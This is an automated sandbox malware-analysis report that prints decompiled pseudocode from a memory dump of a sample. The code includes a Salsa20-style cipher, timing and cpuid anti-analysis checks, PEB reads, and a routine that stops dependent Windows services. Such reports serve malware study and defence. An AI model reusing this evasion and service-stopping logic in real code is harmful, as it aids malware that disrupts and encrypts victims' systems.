              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 4ebda7292823d22a8e8c23ddc1940a31d47ece6c7f28d0c8a394dcccac25d783
              • Instruction ID: 0ff299bbc7d35f7f511b9a16647e2e687679238b852a94e0cd34cadd28bd3734
              • Opcode Fuzzy Hash: 4ebda7292823d22a8e8c23ddc1940a31d47ece6c7f28d0c8a394dcccac25d783
              • Instruction Fuzzy Hash: 81D11BB2B106118FE318CF2DD89062AB7E1FF8D301B55892DE499C7745EB39E621DB90
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 69%
              			E02358FF4(void* _a4, void* _a8) {
              				signed int _v8;
              				signed int _v12;
              				signed int _v16;
              				signed int _v20;
              				signed int _v24;
              				signed int _v28;
              				signed int _v32;
              				signed int _v36;
              				signed int _v40;
              				signed int _v44;
              				signed int _v48;
              				signed int _v52;
              				char _v56;
              				signed int _v60;
              				signed int _v64;
              				signed int _v68;
              				signed int _v72;
              				signed int _v76;
              				signed int _v80;
              				signed int _v84;
              				signed int _v88;
              				signed int _v92;
              				signed int _v96;
              				signed int _v100;
              				signed int _v104;
              				signed int _v108;
              				signed int _v112;
              				signed int _v116;
              				void _v120;
              				signed int _t167;
              				signed int _t198;
              				signed int _t200;
              				signed int _t206;
              				signed int _t210;
              				signed int _t216;
              				signed int _t218;
              				signed int _t229;
              				signed int _t230;
              				void* _t232;
              				signed int _t233;
              				signed int _t235;
              				signed int _t236;
              				signed int _t237;
              				signed int _t239;
              				signed int _t240;
              				signed int _t241;
              				signed int _t245;
              				signed int _t247;
              				signed int _t248;
              				signed int _t249;
              				signed int _t251;
              				signed int _t253;
              				signed int _t255;
              				signed int _t257;
              				signed int _t259;
              				signed int _t261;
              				signed int _t262;
              				signed int _t263;
              				signed int _t269;
              				signed int _t270;
              				void* _t272;
              
              				_t233 = 0x10;
              				_v56 = 0xa;
              				memcpy( &_v120, _a8, _t233 << 2);
              				_t245 = _v72;
              				_t235 = _v60;
              				_t239 = _v64;
              				_t269 = _v68;
              				_t229 = _v76;
              				_v8 = _v80;
              				_v36 = _v84;
              				_v24 = _v88;
              				_v48 = _v92;
              				_v44 = _v96;
              				_v32 = _v100;
              				_v20 = _v104;
              				_v40 = _v108;
              				_v16 = _v112;
              				_v12 = _v116;
              				_t167 = _v120;
              				_v52 = _t245;
              				_v28 = _t167;
              				do {
              					asm("rol eax, 0x7");
              					_v20 = _v20 ^ _t167 + _t245;
              					asm("rol eax, 0x9");
              					_v24 = _v24 ^ _v20 + _v28;
              					asm("rol eax, 0xd");
              					_t247 = _v52 ^ _v24 + _v20;
              					_v52 = _t247;
              					asm("rol eax, 0x12");
              					_v28 = _v28 ^ _v24 + _t247;
              					asm("rol eax, 0x7");
              					_v36 = _v36 ^ _v12 + _v32;
              					asm("rol eax, 0x9");
              					_t270 = _t269 ^ _v36 + _v32;
              					_t248 = _v44;
              					asm("rol eax, 0xd");
              					_v12 = _v12 ^ _v36 + _t270;
              					asm("rol eax, 0x12");
              					_v32 = _v32 ^ _v12 + _t270;
              					asm("rol eax, 0x7");
              					_t240 = _t239 ^ _v8 + _t248;
              					asm("rol eax, 0x9");
              					_v16 = _v16 ^ _v8 + _t240;
              					asm("rol eax, 0xd");
              					_t249 = _t248 ^ _v16 + _t240;
              					_v44 = _t249;
              					asm("rol eax, 0x12");
              					_v8 = _v8 ^ _v16 + _t249;
              					asm("rol eax, 0x7");
              					_t251 = _v40 ^ _t229 + _t235;
              					_v40 = _t251;
              					asm("rol eax, 0x9");
              					_t253 = _v48 ^ _t251 + _t235;
              					_v48 = _t253;
              					asm("rol eax, 0xd");
              					_t230 = _t229 ^ _v40 + _t253;
              					asm("rol eax, 0x12");
              					_t236 = _t235 ^ _t253 + _t230;
              					asm("rol eax, 0x7");
              					_v12 = _v12 ^ _v28 + _v40;
              					_t198 = _v12;
              					_v116 = _t198;
              					asm("rol eax, 0x9");
              					_v16 = _v16 ^ _t198 + _v28;
              					_t200 = _v16;
              					_v112 = _t200;
              					asm("rol eax, 0xd");
              					_t255 = _v40 ^ _t200 + _v12;
              					_v40 = _t255;
              					asm("rol eax, 0x12");
              					_v108 = _t255;
              					_t257 = _v28 ^ _v16 + _t255;
              					asm("rol eax, 0x7");
              					_v44 = _v44 ^ _v32 + _v20;
              					_t206 = _v44;
              					_v96 = _t206;
              					asm("rol eax, 0x9");
              					_v28 = _t257;
              					_v120 = _t257;
              					_t259 = _v48 ^ _t206 + _v32;
              					_v48 = _t259;
              					asm("rol eax, 0xd");
              					_v20 = _v20 ^ _v44 + _t259;
              					_t210 = _v20;
              					_v104 = _t210;
              					asm("rol eax, 0x12");
              					_v92 = _t259;
              					_t261 = _v32 ^ _t210 + _t259;
              					_v32 = _t261;
              					_v100 = _t261;
              					_t262 = _v36;
              					asm("rol eax, 0x7");
              					_t229 = _t230 ^ _v8 + _t262;
              					asm("rol eax, 0x9");
              					_v24 = _v24 ^ _v8 + _t229;
              					_t216 = _v24;
              					_v88 = _t216;
              					asm("rol eax, 0xd");
              					_t263 = _t262 ^ _t216 + _t229;
              					_t218 = _t263;
              					_v36 = _t263;
              					_v84 = _t218;
              					asm("rol eax, 0x12");
              					_v8 = _v8 ^ _t218 + _v24;
              					_v80 = _v8;
              					asm("rol eax, 0x7");
              					_t245 = _v52 ^ _t236 + _t240;
              					_v52 = _t245;
              					_v72 = _t245;
              					asm("rol eax, 0x9");
              					_t269 = _t270 ^ _t236 + _t245;
              					asm("rol eax, 0xd");
              					_t239 = _t240 ^ _t269 + _t245;
              					asm("rol eax, 0x12");
              					_t235 = _t236 ^ _t239 + _t269;
              					_t134 =  &_v56;
              					 *_t134 = _v56 - 1;
              					_t167 = _v28;
              				} while ( *_t134 != 0);
              				_v76 = _t229;
              				_v64 = _t239;
              				_t241 = 0;
              				_v60 = _t235;
              				_t232 = _a8 -  &_v120;
              				_v68 = _t269;
              				do {
              					 *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) =  *((intOrPtr*)(_t272 + _t241 * 4 - 0x74)) +  *((intOrPtr*)(_t272 + _t232 + _t241 * 4 - 0x74));
              					_t241 = _t241 + 1;
              				} while (_t241 < 0x10);
              				_t237 = 0x10;
              				return memcpy(_a4,  &_v120, _t237 << 2);
              			}
































































              0x02359002
              0x02359006
              0x0235900d
              0x02359012
              0x02359015
              0x02359018
              0x0235901b
              0x0235901e
              0x02359021
              0x02359027
              0x0235902d
              0x02359033
              0x02359039
              0x0235903f
              0x02359045
              0x0235904b
              0x02359051
              0x02359057
              0x0235905a
              0x0235905d
              0x02359060
              0x02359063
              0x02359068
              0x0235906b
              0x02359074
              0x02359077
              0x02359080
              0x02359083
              0x0235908a
              0x0235908d
              0x02359090
              0x02359099
              0x0235909c
              0x023590a5
              0x023590a8
              0x023590aa
              0x023590b2
              0x023590b5
              0x023590bd
              0x023590c0
              0x023590c8
              0x023590cb
              0x023590d2
              0x023590d5
              0x023590dd
              0x023590e0
              0x023590e7
              0x023590ed
              0x023590f0
              0x023590f6
              0x023590f9
              0x023590fb
              0x02359104
              0x02359107
              0x0235910e
              0x02359111
              0x02359114
              0x02359119
              0x0235911c
              0x02359124
              0x02359127
              0x0235912a
              0x0235912d
              0x02359133
              0x02359136
              0x02359139
              0x0235913c
              0x02359142
              0x02359148
              0x0235914f
              0x02359152
              0x02359155
              0x0235915b
              0x02359163
              0x02359166
              0x02359169
              0x0235916c
              0x02359172
              0x02359175
              0x02359178
              0x0235917e
              0x02359185
              0x02359188
              0x0235918b
              0x0235918e
              0x02359191
              0x02359196
              0x02359199
              0x0235919f
              0x023591a4
              0x023591a7
              0x023591aa
              0x023591af
              0x023591b2
              0x023591b9
              0x023591bc
              0x023591bf
              0x023591c2
              0x023591c7
              0x023591ca
              0x023591cc
              0x023591ce
              0x023591d4
              0x023591da
              0x023591dd
              0x023591e3
              0x023591e9
              0x023591ec
              0x023591ee
              0x023591f1
              0x023591f7
              0x023591fa
              0x023591ff
              0x02359202
              0x02359207
              0x0235920a
              0x0235920c
              0x0235920c
              0x02359210
              0x02359210
              0x02359219
              0x02359222
              0x02359225
              0x02359227
              0x0235922a
              0x0235922c
              0x0235922f
              0x02359236
              0x0235923a
              0x0235923b
              0x02359248
              0x02359251

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
              • Instruction ID: 1322c93a84574cc198a3ae3d65dc7ed95ca59c0ebe95efd253f26cc4c7dbaaea
              • Opcode Fuzzy Hash: 94389a93e62d7c07f5c1ac272210a142c76ffef6fb536e77bacda6aa42c1b665
              • Instruction Fuzzy Hash: EDA17C76D002199FCF80CFA9D981ADEFBF5FF88254F24416AD414F7201E374AA558B94
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 72%
              			E0235611E(signed char __eax, signed int __edx, signed char* _a4) {
              				void* _v5;
              				signed char _v12;
              				signed char _v20;
              				signed char _t11;
              				void* _t12;
              				void* _t14;
              				signed char _t19;
              				void* _t23;
              				signed char _t25;
              				signed char _t28;
              				signed int _t29;
              				signed int _t31;
              				signed char _t32;
              				signed int _t34;
              				void* _t36;
              				signed int _t38;
              				signed int _t40;
              				void* _t42;
              
              				_t29 = __edx;
              				_t11 = __eax;
              				_t23 = 0;
              				do {
              					asm("rdtsc");
              					_t32 = _t11;
              					_t12 = E023561C8();
              					asm("rdtsc");
              					_v20 = _t12 - _t32;
              					asm("sbb ecx, edi");
              					_v12 = _t29;
              					_t14 = E023561C8();
              					_t25 = _v20;
              					asm("rdtsc");
              					asm("sbb edx, [ebp-0x8]");
              					_t11 = _t14 - _t25 - _t32;
              					_v20 = _t11;
              					asm("sbb edx, edi");
              					_t31 = _v12;
              					_t38 = _t31;
              					if(_t38 <= 0 && (_t38 < 0 || _t25 <= 0xffffffff)) {
              						_t40 = _t29;
              						if(_t40 <= 0 && (_t40 < 0 || _t11 <= 0xffffffff)) {
              							_t34 = _t25 - _t11;
              							asm("sbb edi, edx");
              							asm("cdq");
              							_t11 = _t31 ^ _t29;
              							_t36 = (_t34 ^ _t29) - _t29;
              							_t42 = _t36;
              							asm("sbb eax, edx");
              							_v12 = _t11;
              							if(_t42 >= 0 && (_t42 > 0 || _t36 >= 0x40)) {
              								_v5 = E02356052(_t25);
              								_t19 = E02356052(_v20);
              								_t28 = _v5;
              								_t11 = _t19 ^ _t28;
              								if(_t11 != 0) {
              									 *_a4 = _t28;
              									return 1;
              								}
              							}
              						}
              					}
              					_t23 = _t23 + 1;
              				} while (_t23 < 0x80);
              				return 0;
              			}





















              0x0235611e
              0x0235611e
              0x02356127
              0x02356129
              0x02356129
              0x0235612b
              0x0235612f
              0x02356134
              0x0235613a
              0x0235613d
              0x0235613f
              0x02356142
              0x02356147
              0x0235614a
              0x0235614e
              0x02356151
              0x02356153
              0x02356156
              0x02356158
              0x0235615b
              0x0235615d
              0x02356166
              0x02356168
              0x02356173
              0x02356175
              0x02356179
              0x0235617a
              0x0235617e
              0x0235617e
              0x02356180
              0x02356182
              0x02356185
              0x02356197
              0x0235619a
              0x023561a1
              0x023561a4
              0x023561a6
              0x023561c1
              0x00000000
              0x023561c5
              0x023561a6
              0x02356185
              0x02356168
              0x023561a8
              0x023561a9
              0x00000000

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: time$Time$BeginPeriodSleep
              • String ID:
              • API String ID: 4118631919-0
              • Opcode ID: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
              • Instruction ID: f1bf3c3ef8e3c43d8e1d0747926af8ed6d0b3b18066939fa4c0924d317bab95e
              • Opcode Fuzzy Hash: fc29b22b782b8560c203740e77577da81cb83bbd114b6084b10493fc8158ca25
              • Instruction Fuzzy Hash: 83110B71E141341A5F689E7C4C82CBDBBAEAE85160B994779DC1DE3192DA31860A8E80
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 62%
              			E0235544D(intOrPtr __edx, intOrPtr _a4) {
              				intOrPtr _v8;
              				intOrPtr _v12;
              				char _v28;
              				intOrPtr _t13;
              				intOrPtr* _t17;
              				intOrPtr* _t24;
              
              				_t13 = 0;
              				_v8 = 0;
              				_v12 = _a4;
              				do {
              					_push(_t17);
              					asm("cpuid");
              					_t24 = _t17;
              					_t17 =  &_v28;
              					 *_t17 = _t13 + 0x80000002;
              					 *((intOrPtr*)(_t17 + 4)) = _t24;
              					_t13 = _v8 + 1;
              					 *((intOrPtr*)(_t17 + 8)) = 0;
              					 *((intOrPtr*)(_t17 + 0xc)) = __edx;
              					_v8 = _t13;
              					asm("movsd");
              					asm("movsd");
              					asm("movsd");
              					asm("movsd");
              					_v12 = _v12 + 0x10;
              				} while (_t13 < 3);
              				return _a4;
              			}









              0x02355459
              0x0235545b
              0x0235545e
              0x02355461
              0x02355468
              0x02355469
              0x0235546b
              0x0235546e
              0x02355471
              0x02355476
              0x02355479
              0x0235547a
              0x0235547f
              0x02355482
              0x02355485
              0x02355486
              0x02355487
              0x02355488
              0x0235548f
              0x02355492
              0x023554a0

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
              • Instruction ID: d122ffe5d280ffefbe9e04fd3f57adea46db4baf1dcf9040194323dfa1e4e9ae
              • Opcode Fuzzy Hash: 47c376b581d24c7d1e1a0f35ff1822e68f57d00c0a892bdfc065d503b3469f08
              • Instruction Fuzzy Hash: 68F06DB2D01218AFCB01CF5DC88159EFBF5EF49224F2481AAEC0CEB301D2319A408BE0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355B02() {
              
              				return ( *( *[fs:0x30] + 0xa4) & 0x000000ff) << 0x00000008 |  *( *[fs:0x30] + 0xa8) & 0x000000ff;
              			}



              0x02355b1e

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
              • Instruction ID: 2f92208e2cd7eb6c465aa2c1d9d9ad2e0d5e4d52fdcf87f58a77acdaf95c176a
              • Opcode Fuzzy Hash: 509f6a94fdf042510e336dd1cc9cd65acd2f16b80682f34016c6142793c3d862
              • Instruction Fuzzy Hash: 15B092682066D149C396621582B83B07FA0EB83556F2800FD94EB0E883855E021BDB11
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E0235580E() {
              
              				return  *[fs:0x30];
              			}



              0x02355814

              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
              • Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
              • Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
              • Instruction Fuzzy Hash:
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 80%
              			E02355E46(void* _a4, void* _a8) {
              				int _v8;
              				int _v12;
              				struct _ENUM_SERVICE_STATUS* _v16;
              				void* _v20;
              				long _v24;
              				long _v36;
              				intOrPtr _v56;
              				struct _SERVICE_STATUS _v60;
              				void _v96;
              				int _t36;
              				intOrPtr _t51;
              				struct _ENUM_SERVICE_STATUS* _t58;
              				signed int _t62;
              				void* _t66;
              				void* _t76;
              				void* _t77;
              
              				_v24 = GetTickCount();
              				_t69 = 1;
              				if(EnumDependentServicesW(_a8, 1, 0, 0,  &_v8,  &_v12) == 0) {
              					if(RtlGetLastWin32Error() == 0xea) {
              						_t58 = E02355174(_v8);
              						if(_t58 == 0 || EnumDependentServicesW(_a8, 1, _t58, _v8,  &_v8,  &_v12) == 0) {
              							L11:
              							_t36 = 0;
              							goto L18;
              						} else {
              							_v16 = 0;
              							if(_v12 <= 0) {
              								L17:
              								E023551C1(_t58);
              								_t36 = _t69;
              								L18:
              								return _t36;
              							}
              							_t66 = _t58;
              							_v20 = _t58;
              							while(1) {
              								_t62 = 9;
              								memcpy( &_v96, _t66, _t62 << 2);
              								_t77 = _t77 + 0xc;
              								_t76 = OpenServiceW(_a4, _v96, 0x2c);
              								if(_t76 == 0) {
              									goto L11;
              								}
              								E02355E46(_a4, _t76);
              								_t69 = 1;
              								if(ControlService(_t76, 1,  &_v60) != 0) {
              									while(_v56 != _t69) {
              										Sleep(_v36);
              										_push( &_v8);
              										_push(0x24);
              										_push( &_v60);
              										_push(0);
              										_push(_t76);
              										if( *0x236259c() == 0) {
              											goto L11;
              										}
              										if(_v56 == _t69) {
              											break;
              										}
              										if(GetTickCount() - _v24 > 0x7530) {
              											goto L10;
              										}
              									}
              									CloseServiceHandle(_t76);
              									_t51 = _v16 + 1;
              									_t66 = _v20 + 0x24;
              									_v16 = _t51;
              									_v20 = _t66;
              									if(_t51 < _v12) {
              										continue;
              									}
              									goto L17;
              								}
              								L10:
              								CloseServiceHandle(_t76);
              								goto L11;
              							}
              							goto L11;
              						}
              					}
              					return 0;
              				}
              				return 1;
              			}



















              0x02355e54
              0x02355e62
              0x02355e72
              0x02355e86
              0x02355e98
              0x02355e9d
              0x02355f0d
              0x02355f0d
              0x00000000
              0x02355eb9
              0x02355eb9
              0x02355ebf
              0x02355f6b
              0x02355f6c
              0x02355f72
              0x02355f74
              0x00000000
              0x02355f74
              0x02355ec5
              0x02355ec7
              0x02355eca
              0x02355ecc
              0x02355ed4
              0x02355ed4
              0x02355ee2
              0x02355ee6
              0x00000000
              0x00000000
              0x02355eec
              0x02355ef9
              0x02355f04
              0x02355f46
              0x02355f14
              0x02355f1d
              0x02355f1e
              0x02355f23
              0x02355f24
              0x02355f26
              0x02355f2f
              0x00000000
              0x00000000
              0x02355f34
              0x00000000
              0x00000000
              0x02355f44
              0x00000000
              0x00000000
              0x02355f44
              0x02355f4c
              0x02355f58
              0x02355f59
              0x02355f5c
              0x02355f5f
              0x02355f65
              0x00000000
              0x00000000
              0x00000000
              0x02355f65
              0x02355f06
              0x02355f07
              0x00000000
              0x02355f07
              0x00000000
              0x02355eca
              0x02355e9d
              0x00000000
              0x02355e88
              0x00000000

              APIs
              • GetTickCount.KERNEL32 ref: 02355E4E
              • EnumDependentServicesW.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000), ref: 02355E6A
              • RtlGetLastWin32Error.NTDLL ref: 02355E7B
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CountDependentEnumErrorLastServicesTickWin32
              • String ID:
              • API String ID: 128278716-0
              • Opcode ID: 6fcb2143db2edde5f2c6ad003c3d3165676642257d1518baed04a4b2a6a2f557
              • Instruction ID: b22437d05a275aff0ed8b3d0d8e37261eff4bb77eb211d789e5241061c0f930c
              • Opcode Fuzzy Hash: 6fcb2143db2edde5f2c6ad003c3d3165676642257d1518baed04a4b2a6a2f557
              • Instruction Fuzzy Hash: 31415B72A40228EBDB219BA1EC88D9FBBBDEF44751F514425F80AE6150D770AA11CBA0
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 52%
              			E02352F04(intOrPtr _a4, intOrPtr* _a8) {
              				void* _v8;
              				void* _v12;
              				void* _v16;
              				intOrPtr _v20;
              				short _v24;
              				char _v36;
              				short _v40;
              				char _v52;
              				intOrPtr _v60;
              				char _v68;
              				intOrPtr _v76;
              				char _v84;
              				short _v86;
              				char _v104;
              				short _v106;
              				char _v132;
              				intOrPtr _t63;
              				intOrPtr _t69;
              				intOrPtr* _t82;
              				intOrPtr* _t84;
              				intOrPtr* _t86;
              				short _t88;
              				intOrPtr* _t92;
              				intOrPtr* _t94;
              				void* _t97;
              				intOrPtr* _t98;
              				intOrPtr* _t99;
              				intOrPtr* _t100;
              				intOrPtr* _t101;
              				void* _t117;
              				intOrPtr* _t119;
              				intOrPtr* _t120;
              				intOrPtr _t121;
              				intOrPtr* _t122;
              				intOrPtr* _t123;
              
              				_t119 = __imp__#8;
              				_v12 = 0;
              				_v8 = 0;
              				_v16 = 0;
              				 *_t119( &_v84);
              				 *_t119( &_v68);
              				E02356595(0x2361278, 0xbec, 7, 0x12,  &_v104);
              				_v86 = 0;
              				E02356595(0x2361278, 0xacb, 0xf, 0x1a,  &_v132);
              				_t120 = __imp__#2;
              				_v106 = 0;
              				_t97 =  *_t120( &_v104);
              				_t63 =  *_t120( &_v132);
              				_t121 = _a4;
              				_v20 = _t63;
              				_t98 =  *((intOrPtr*)(_t121 + 0xc));
              				_t117 =  *((intOrPtr*)( *_t98 + 0x18))(_t98, _t63, 0, 0,  &_v16, 0);
              				if(_t117 >= 0) {
              					E02356595(0x2361278, 0x4ac, 8, 0xc,  &_v36);
              					_v24 = 0;
              					_t82 = _a8;
              					_t117 =  *((intOrPtr*)( *_t82 + 0x10))(_t82,  &_v36, 0,  &_v84, 0, 0);
              					if(_t117 >= 0) {
              						_t84 = _v16;
              						_t117 =  *((intOrPtr*)( *_t84 + 0x4c))(_t84, _t97, 0,  &_v12, 0);
              						if(_t117 >= 0) {
              							_t86 = _v12;
              							_t117 =  *((intOrPtr*)( *_t86 + 0x3c))(_t86, 0,  &_v8);
              							if(_t117 >= 0) {
              								_t88 = 3;
              								_v68 = _t88;
              								_v60 = 0x3039;
              								E02356595(0x2361278, 0x1cc, 5, 0xc,  &_v52);
              								_v40 = 0;
              								_t92 = _v8;
              								_t117 =  *((intOrPtr*)( *_t92 + 0x14))(_t92,  &_v52, 0,  &_v68, 0);
              								if(_t117 >= 0) {
              									_t94 =  *((intOrPtr*)(_t121 + 0xc));
              									_t117 =  *((intOrPtr*)( *_t94 + 0x60))(_t94, _v76, _t97, 0, 0, _v8, 0, 0);
              								}
              							}
              						}
              					}
              				}
              				_t99 = _v8;
              				if(_t99 != 0) {
              					 *((intOrPtr*)( *_t99 + 8))(_t99);
              				}
              				_t100 = _v12;
              				if(_t100 != 0) {
              					 *((intOrPtr*)( *_t100 + 8))(_t100);
              				}
              				_t101 = _v16;
              				if(_t101 != 0) {
              					 *((intOrPtr*)( *_t101 + 8))(_t101);
              				}
              				_t122 = __imp__#9;
              				 *_t122( &_v84);
              				 *_t122( &_v68);
              				_t123 = __imp__#6;
              				if(_t97 != 0) {
              					 *_t123(_t97);
              				}
              				_t69 = _v20;
              				if(_t69 != 0) {
              					 *_t123(_t69);
              				}
              				return _t117;
              			}






































              0x02352f0f
              0x02352f1c
              0x02352f1f
              0x02352f22
              0x02352f25
              0x02352f2b
              0x02352f40
              0x02352f47
              0x02352f59
              0x02352f5e
              0x02352f69
              0x02352f73
              0x02352f79
              0x02352f7b
              0x02352f82
              0x02352f86
              0x02352f94
              0x02352f98
              0x02352fb0
              0x02352fbf
              0x02352fc3
              0x02352fd4
              0x02352fd8
              0x02352fde
              0x02352ff0
              0x02352ff4
              0x02352ff6
              0x02353005
              0x02353009
              0x0235300d
              0x0235300e
              0x02353024
              0x0235302b
              0x02353038
              0x0235303c
              0x0235304e
              0x02353052
              0x02353054
              0x0235306a
              0x0235306a
              0x02353052
              0x02353009
              0x02352ff4
              0x02352fd8
              0x0235306c
              0x02353071
              0x02353076
              0x02353076
              0x02353079
              0x0235307e
              0x02353083
              0x02353083
              0x02353086
              0x0235308b
              0x02353090
              0x02353090
              0x02353093
              0x0235309d
              0x023530a3
              0x023530a5
              0x023530ad
              0x023530b0
              0x023530b0
              0x023530b2
              0x023530b7
              0x023530ba
              0x023530ba
              0x023530c4

              APIs
              • VariantInit.OLEAUT32(?), ref: 02352F25
              • VariantInit.OLEAUT32(?), ref: 02352F2B
              • SysAllocString.OLEAUT32(?), ref: 02352F71
              • SysAllocString.OLEAUT32(?), ref: 02352F79
              • VariantClear.OLEAUT32(?), ref: 0235309D
              • VariantClear.OLEAUT32(?), ref: 023530A3
              • SysFreeString.OLEAUT32(00000000), ref: 023530B0
              • SysFreeString.OLEAUT32(?), ref: 023530BA
              Strings
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: StringVariant$AllocClearFreeInit
              • String ID: 90
              • API String ID: 760788290-1770303465
              • Opcode ID: 5ae40722837fb2d75f83706ebfa8e92eb1b08a74651b88efc5dd724b2d7c3a75
              • Instruction ID: 85aaaaeb5332a6052185c392f2d865abb093979838d52e8dd56ca50d265d5f81
              • Opcode Fuzzy Hash: 5ae40722837fb2d75f83706ebfa8e92eb1b08a74651b88efc5dd724b2d7c3a75
